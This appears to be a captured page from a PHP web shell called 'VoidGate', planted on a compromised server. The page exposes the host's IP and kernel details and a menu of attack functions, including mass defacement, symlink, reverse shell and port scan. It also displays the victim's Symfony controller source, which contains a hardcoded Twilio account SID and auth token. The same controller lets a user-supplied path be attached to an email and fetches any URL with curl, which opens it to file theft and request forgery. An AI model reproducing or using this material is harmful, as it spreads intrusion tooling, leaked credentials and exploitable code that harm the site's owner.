ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Viewing: ExternalServiceController.php
<?php /** * Created by PhpStorm. * User: macbookpro * Date: 21/03/2021 * Time: 16:52 */ namespace App\Controller; use Doctrine\DBAL\DBALException; use Swift_Attachment; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use FOS\RestBundle\Request\ParamFetcher; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use FOS\RestBundle\Controller\Annotations as FOSRest; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use App\Entity\User; use App\Form\UserType; use Psr\Http\Message\ResponseInterface; // Use the REST API Client to make requests to the Twilio REST API use Twilio\Rest\Client; class ExternalServiceController extends AbstractController { /** * @Rest\Post("/external-service/sms") * @View */ public function postSMSAction(Request $request) { // Create a client with a base URI $ConnectedUser = $this->get('security.token_storage')->getToken()->getUser(); $data = json_decode($request->getContent(), true); /* $client = new Client(['base_uri' => 'https://dev.etravel.cm/']); $response = $client->request('GET', 'api/web/cabs'); $responseBody=json_decode($response->getBody()->getContents()); $responseMessage=array("data"=>$responseBody, "message"=>"sms send", "processing"=>"success"); */ $sid = 'AC38da756af13130294f24f9b6c0dff9d9'; $token = '05772e67d3723517b06a7717031ff154'; $twilio = new Client($sid, $token); $message = $twilio->messages ->create("+".$data['phoneNumber'], // to ["body" => $data['message'], "from" => "+15623748443"] ); return new JsonResponse(json_encode($message), Response::HTTP_ACCEPTED); } /** * twillo param ACCOUNT SID AC38da756af13130294f24f9b6c0dff9d9 Used to exercise the REST API AUTH TOKEN 05772e67d3723517b06a7717031ff154 */ /** * send mail. * @Rest\Post("/external-service/sendmail") * @View */ public function sendEmailAction(Request $request, \Symfony\Component\Mailer\Mailer $mailer ){ $data = json_decode($request->getContent(), true); $responseMessage=array("data"=>$data, "message"=>"provide all informations", "processing"=>"failed"); if ( empty($data['subject']) || empty($data['receiver']) || empty($data['title']) || empty($data['email']) || empty($data['body'])) { return new JsonResponse($responseMessage, Response::HTTP_BAD_REQUEST); } $message = (new \Message('[JYVEN] '.$data["subject"])) ->setFrom('info-service@biocarrylife.com') ->setTo($data['email']) ->setBody( $this->renderView( // templates/emails/registration.html.twig 'email/notification.html.twig', [ 'user' => $data["receiver"], 'companyName' => "JYVEN", 'title' => $data["title"], 'body' => $data["body"], ] ), 'text/html' ) ; if(isset($data["attachs"])){ foreach ($data["attachs"] as $attach ){ // Use basename() function to return the base name of file $file_name = basename($attach); // Create the attachment // * Note that you can technically leave the content-type parameter out $attachment = Swift_Attachment::fromPath($attach,$this-> ftype("".$attach)); // Attach it to the message $message->attach($attachment); } } $mailer->send($message); return new JsonResponse(json_encode($mailer), Response::HTTP_ACCEPTED); } function ftype($f) { curl_setopt_array(($c = @curl_init((!preg_match("/[a-z]+:\/{2}(?:www\.)?/i",$f) ? sprintf("%s://%s/%s", "http" , $_SERVER['HTTP_HOST'],$f) : $f))), array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1)); return(preg_match("/Type:\s*(?<mime_type>[^\n]+)/i", @curl_exec($c), $m) && curl_getinfo($c, CURLINFO_HTTP_CODE) != 404) ? ($m["mime_type"]) : 0; } }
Coded With 💗 by
0x6ick